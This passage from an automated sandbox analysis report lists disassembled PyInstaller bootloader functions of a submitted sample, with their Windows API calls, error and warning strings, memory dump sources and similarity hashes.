                                                                                                                                                                                                                                          • Instruction ID: 7f966718316647e9015da6a19aee6351e4c654cab69875f84b80614f5a97cbf4
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0131A922B0CA4142E630BB3AA8146BBA695BF847D8F814135DF8D97759FE3CD546C710
                                                                                                                                                                                                                                          Function 00007FF79D05DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • LoadLibraryExW.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DDBD
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DDCB
                                                                                                                                                                                                                                          • LoadLibraryExW.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DDF5
                                                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DE63
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,?,?,00007FF79D05DFEA,?,?,?,00007FF79D05DCDC,?,?,?,00007FF79D05D8D9), ref: 00007FF79D05DE6F
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Library$Load$AddressErrorFreeLastProc
                                                                                                                                                                                                                                          • String ID: api-ms-
                                                                                                                                                                                                                                          • API String ID: 2559590344-2084034818
                                                                                                                                                                                                                                          • Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
                                                                                                                                                                                                                                          • Instruction ID: bf20dcbf055333a66e8caf35eb22af08aabe8af9936c2d230552b2dc5ce8399c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 90317221B2E64291EE31BB2BA804579A394FF58BA0FD94536DD9D4B380FF3CE4548270
                                                                                                                                                                                                                                          Function 00007FF79D056350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
                                                                                                                                                                                                                                          • API String ID: 2050909247-2434346643
                                                                                                                                                                                                                                          • Opcode ID: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
                                                                                                                                                                                                                                          • Instruction ID: 2216461d28aaa80dec6fa73be35ae70372da8de4abf0ecb73c265f2f70b52213
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 41413B21A1C68691EA31EB3AE4142E9A311FB54384FC00132EADD47696FF3CE615C760
                                                                                                                                                                                                                                          Function 00007FF79D052A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF79D05351A,?,00000000,00007FF79D053F23), ref: 00007FF79D052AA0
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
                                                                                                                                                                                                                                          • API String ID: 2050909247-2900015858
                                                                                                                                                                                                                                          • Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
                                                                                                                                                                                                                                          • Instruction ID: 129a5385cf2b20b27c2a8c882e2b3fb368f0648710d42b02df9d2dc73e6c1250
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8821A132A1CB8192E630AB69B8407EAA394FB883C4F800132EECD47759EF7CD545C710
                                                                                                                                                                                                                                          Function 00007FF79D06B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Value$ErrorLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2506987500-0
                                                                                                                                                                                                                                          • Opcode ID: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
                                                                                                                                                                                                                                          • Instruction ID: d72293cc5ad31887047d7fe3f24bb155502508b6b2b493451aa86cb9039d5df0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E9212820B0DE4742FA787BF95A5113DD6829F447A0FD44734D9BE47ADAFE2DA4418320
                                                                                                                                                                                                                                          Function 00007FF79D077DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                                                                                                                                          • String ID: CONOUT$
                                                                                                                                                                                                                                          • API String ID: 3230265001-3130406586
                                                                                                                                                                                                                                          • Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
                                                                                                                                                                                                                                          • Instruction ID: da1e73becee3258189ec21c73491ded5a0da19637d5a525ad61c3dceccc9567e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9F119A31B1CA4186E360AB6AFC54339A7A0FB9CBE4F800234D99D8B7A4EF3DD4058750
                                                                                                                                                                                                                                          Function 00007FF79D058560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF79D059216), ref: 00007FF79D058592
                                                                                                                                                                                                                                          • K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D0585E9
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D059400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF79D0545E4,00000000,00007FF79D051985), ref: 00007FF79D059439
                                                                                                                                                                                                                                          • K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D058678
                                                                                                                                                                                                                                          • K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D0586E4
                                                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D0586F5
                                                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D05870A
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3462794448-0
                                                                                                                                                                                                                                          • Opcode ID: af5051bae1bb50e3ccf69b50d5ac14561a54b739df452b641c0904f08e36c6c8
                                                                                                                                                                                                                                          • Instruction ID: 5b4d632b7fe01f569df41e4e44fd5d3cfad85ec2109fa31273e5d9b56aa4f39e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: af5051bae1bb50e3ccf69b50d5ac14561a54b739df452b641c0904f08e36c6c8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4B419122B1D68681EA30AB3AA5456AAA394FB84BC4FC40135DFCD57B89FE3CD441C720
                                                                                                                                                                                                                                          Function 00007FF79D06B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B347
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B37D
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B3AA
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B3BB
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B3CC
                                                                                                                                                                                                                                          • SetLastError.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B3E7
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Value$ErrorLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2506987500-0
                                                                                                                                                                                                                                          • Opcode ID: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
                                                                                                                                                                                                                                          • Instruction ID: 530a2cdf90fae8f8819549db0c2a2caeaed9df2dbfc42603fd718fc6717e895c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6B116060B0CE5282FA74B7B95A9113DE5429F44BB0FD44734E9BE477DAFE2DA4018321
                                                                                                                                                                                                                                          Function 00007FF79D052910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF79D051B6A), ref: 00007FF79D05295E
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
                                                                                                                                                                                                                                          • API String ID: 2050909247-2962405886
                                                                                                                                                                                                                                          • Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
                                                                                                                                                                                                                                          • Instruction ID: 79fbe01320340a93f56b11bfce8b4ca18936c12e9f35cd8f51272f062fd77bed
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: AD31B522B1C68152E730A77AA8406E6A694BF887D4F804131EECD87755FF7CD546C610
                                                                                                                                                                                                                                          Function 00007FF79D052390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                                                                                                                                                                                                          • String ID: Unhandled exception in script
                                                                                                                                                                                                                                          • API String ID: 3081866767-2699770090
                                                                                                                                                                                                                                          • Opcode ID: 9d37adb8919aaa9301242e1672c0db5e18d6b44b4274937772719b263de12092
                                                                                                                                                                                                                                          • Instruction ID: 53af5810580f77a57d90cfe339f1b78200e383cf4323bc9776a0b656f6cf2b9a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9d37adb8919aaa9301242e1672c0db5e18d6b44b4274937772719b263de12092
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0F315F7260DA8189EB30EB75E8552FAA3A0FF89784F840135EA8D4BB49EF3CD140C710
                                                                                                                                                                                                                                          Function 00007FF79D052B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF79D05918F,?,00007FF79D053C55), ref: 00007FF79D052BA0
                                                                                                                                                                                                                                          • MessageBoxW.USER32 ref: 00007FF79D052C2A
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentMessageProcess
                                                                                                                                                                                                                                          • String ID: WARNING$Warning$[PYI-%d:%ls]
                                                                                                                                                                                                                                          • API String ID: 1672936522-3797743490
                                                                                                                                                                                                                                          • Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
                                                                                                                                                                                                                                          • Instruction ID: bcb7c9046c76ef11c626982bf1eb079bcc52f0ceeec505316fb0fe331220361c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4A21A162B0CB8182E720AB69F8447EAB3A4EB88784F804136EE8D57755EE3CD645C750
                                                                                                                                                                                                                                          Function 00007FF79D052710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF79D051B99), ref: 00007FF79D052760
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
                                                                                                                                                                                                                                          • API String ID: 2050909247-1591803126
                                                                                                                                                                                                                                          • Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
                                                                                                                                                                                                                                          • Instruction ID: 83d3db8ae53ab28b71555f544d05f18a5d5a34647fbaa886d0c69c357f22c71f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: CD218E32A1CB8192E620EB69B8857EAA394FB88384F800135EECD47759EF7CD5458B50
                                                                                                                                                                                                                                          Function 00007FF79D069AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                                                          • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                                                          • API String ID: 4061214504-1276376045
                                                                                                                                                                                                                                          • Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
                                                                                                                                                                                                                                          • Instruction ID: 064867f11f58abb9f5f588edcddf8626183addff28db9457cc05ee330cdac990
